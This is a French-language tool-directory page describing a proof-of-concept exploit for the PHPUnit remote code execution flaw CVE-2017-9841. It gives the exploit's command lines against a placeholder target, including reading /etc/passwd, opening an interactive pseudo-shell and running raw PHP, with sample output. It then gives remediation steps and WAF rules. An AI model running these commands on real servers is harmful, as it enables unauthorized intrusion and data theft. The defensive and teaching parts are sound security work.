Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 est une vulnérabilité d'exécution de code à distance (RCE) dans la bibliothèque PHPUnit affectant les versions antérieures à 5.6.3 et les versions 6.x antérieures à 6.4.2. | Kitploit
Outils/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 est une vulnérabilité d'exécution de code à distance (RCE) dans la bibliothèque PHPUnit affectant les versions antérieures à 5.6.3 et les versions 6.x antérieures à 6.4.2.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 2 moisPas encore vérifié

CVE-2017-9841 — Preuve de concept (PoC) pour une exécution de code à distance (RCE) dans PHPUnit

⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.


Présentation

CVE-2017-9841 est une vulnérabilité d'exécution de code à distance (RCE) dans la bibliothèque PHPUnit affectant les versions antérieures à 5.6.3 et les versions 6.x antérieures à 6.4.2.

La vulnérabilité réside dans src/Util/PHP/eval-stdin.php, qui exécute du code PHP reçu via php://input (corps de la requête POST) en utilisant la fonction eval(). Si ce fichier est accessible publiquement (par exemple, dans un répertoire vendor/ non protégé), un attaquant peut exécuter du code PHP arbitraire sur le serveur sans authentification.

Détails de la vulnérabilité

Code vulnérable

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Ce fichier accepte du code PHP depuis le corps de la requête POST et l'exécute immédiatement via eval() sans aucune authentification ni validation.


Installation

Prérequis

  • Python 3.6+
  • Bibliothèque requests
root@kitploit:~
pip install requests

Configuration

root@kitploit:~
git clone <url-du-dépôt>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Utilisation

Syntaxe de base

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

L'option -u accepte soit une URL de base (le chemin vulnérable est ajouté automatiquement), soit une URL complète pointant directement vers eval-stdin.php.

1. Vérification de vulnérabilité (sans exécution de commande)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://cible.com' --check

Sortie :

root@kitploit:~
[*] Cible : https://cible.com
[*] Point d'accès : https://cible.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Vérification de la vulnérabilité sur : ...
[+] Fichier accessible (HTTP 200)
[+] VULNÉRABLE ! Exécution de code confirmée.
[+] Réponse : VULN_CHECK_OK_2017_9841

2. Exécution de commande

root@kitploit:~
# Commande unique
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'whoami'

# Commandes multiples
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'id && hostname && uname -a'

# Lire un fichier
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'cat /etc/passwd'

# Enregistrer la sortie dans un fichier
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'cat /etc/passwd' -o resultat.txt

3. Informations sur le serveur (lecture seule)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://cible.com' --info

Sortie :

root@kitploit:~
=== INFORMATIONS DU SERVEUR ===
Version PHP : 8.x.x
Système d'exploitation : Linux
SAPI : fpm-fcgi
Utilisateur : www-data
Nom d'hôte : web-server-01
Adresse IP du serveur : 192.168.1.100
Répertoire de travail : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Racine du document : /var/www/html/
Logiciel serveur : Apache
Limite mémoire : 256M
Temps d'exécution max : 30s
Open Basedir : (aucun)
Fonctions désactivées : (aucune)

=== FONCTIONS DANGEREUSES ===
  system : OUI
  exec : OUI
  passthru : OUI
  shell_exec : OUI
  proc_open : OUI
  popen : OUI
  curl_exec : OUI

4. Pseudo-shell interactif

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://cible.com' --shell

Sortie :

root@kitploit:~
[*] Pseudo-shell (tapez 'exit' ou 'quit' pour quitter)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Sortie du shell.

5. Recherche automatique du chemin vulnérable

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://cible.com' --find-path

6. Chemin personnalisé

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://cible.com' \
  --path '/chemin/personnalise/eval-stdin.php' -c 'whoami'

7. URL complète vers eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://cible.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Exécution de code PHP brut

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://cible.com' \
  --php '<?php phpinfo(); ?>'

Référence des options


Correction

Actions immédiates (À FAIRE MAINTENANT)

1. Supprimer le fichier vulnérable

root@kitploit:~
sudo rm /chemin/vers/projet/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Bloquer l'accès au répertoire Vendor

Ajoutez un fichier .htaccess dans le répertoire vendor/ :

root@kitploit:~
# /chemin/vers/projet/vendor/.htaccess
Deny from all

Ou configurez-le dans votre VirtualHost Apache :

root@kitploit:~
<Directory "/chemin/vers/projet/vendor">
    Require all denied
</Directory>

Pour Nginx :

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. Supprimer les dépendances de développement de la production

root@kitploit:~
cd /chemin/vers/projet
composer install --no-dev --optimize-autoloader

Renforcement à court terme

4. Activer disable_functions dans php.ini

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Activer open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini ou dans VirtualHost
open_basedir = /var/www/html/projet:/tmp

6. Réduire max_execution_time

root@kitploit:~
max_execution_time = 30

7. Redémarrer PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# ou
sudo systemctl restart php-fpm

Renforcement à long terme

8. Mettre à niveau PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Mettre en place des règles WAF

Exemple ModSecurity :

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'Blocage CVE-2017-9841'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Bloquer l accès au répertoire vendor'"

10. Durcissement du pipeline CI/CD

root@kitploit:~
# Exemple : GitHub Actions
- name: Installer uniquement les dépendances de production
  run: composer install --no-dev --optimize-autoloader

- name: Supprimer les fichiers de test et les scripts vulnérables
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Diagramme du flux d'attaque

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attaquant           │
                    └──────────────┬───────────────┘
                                   │ POST (code PHP)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                      Serveur Apache                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Exécution de code arbitraire               │  │
│  │                                                       │  │
│  │  - Lecture/écriture de fichiers sur le serveur        │  │
│  │  - Accès aux identifiants de base de données          │  │
│  │  - Mouvement latéral vers le réseau interne           │  │
│  │  - Installation de portes dérobées / webshells        │  │
│  │  - Élévation de privilèges                            │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Facteurs aggravants

Les conditions suivantes augmentent considérablement la gravité et l'exploitabilité de cette vulnérabilité :


Références

  • NVD - CVE-2017-9841
  • Problème GitHub PHPUnit #2728
  • Exploit-DB #43340
  • MITRE CVE

Licence

Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement.

Télécharger l’outil
ChampValeur
Identifiant CVECVE-2017-9841
Score CVSS9.8 (Critique)
Versions affectéesPHPUnit < 5.6.3, 6.x < 6.4.2
TypeExécution de code à distance (RCE)
AuthentificationNon requise
VecteurRéseau (distant)
Publiée le27 juin 2017
RéférenceNVD
OptionDescription
-u, --url URLURL de base de la cible ou URL complète vers eval-stdin.php
-c, --cmd CMDCommande CLI à exécuter sur le serveur cible
--checkVérifier si la cible est vulnérable sans exécuter de commandes
--shellOuvrir un pseudo-shell interactif
--infoRecueillir les informations du serveur (lecture seule)
--find-pathAnalyser les chemins courants pour localiser eval-stdin.php
--path PATHSpécifier un chemin personnalisé vers eval-stdin.php
--timeout NDélai d'attente de la requête en secondes (par défaut : 30)
-o, --output FICHIEREnregistrer la sortie de la commande dans un fichier
--php CODEExécuter du code PHP brut au lieu de commandes système
FacteurImpact
disable_functions est videToutes les fonctions PHP sont disponibles (system, exec, etc.)
open_basedir n'est pas définiL'attaquant peut lire/écrire des fichiers sur l'ensemble du système de fichiers
max_execution_time élevéL'attaquant dispose de plus de temps par requête pour des charges utiles complexes
Extension FFI chargéePermet des appels directs à des fonctions C, contournant les restrictions PHP
Extensions de base de données chargéesConnexions directes à la base de données possibles (mysqli, pgsql, etc.)
Aucun WAF déployéAucun filtrage ou blocage des requêtes
Aucun IDS/IPS en placeAucune détection d'anomalie ni alerte
Dépendances de développement en productionÉlargit inutilement la surface d'attaque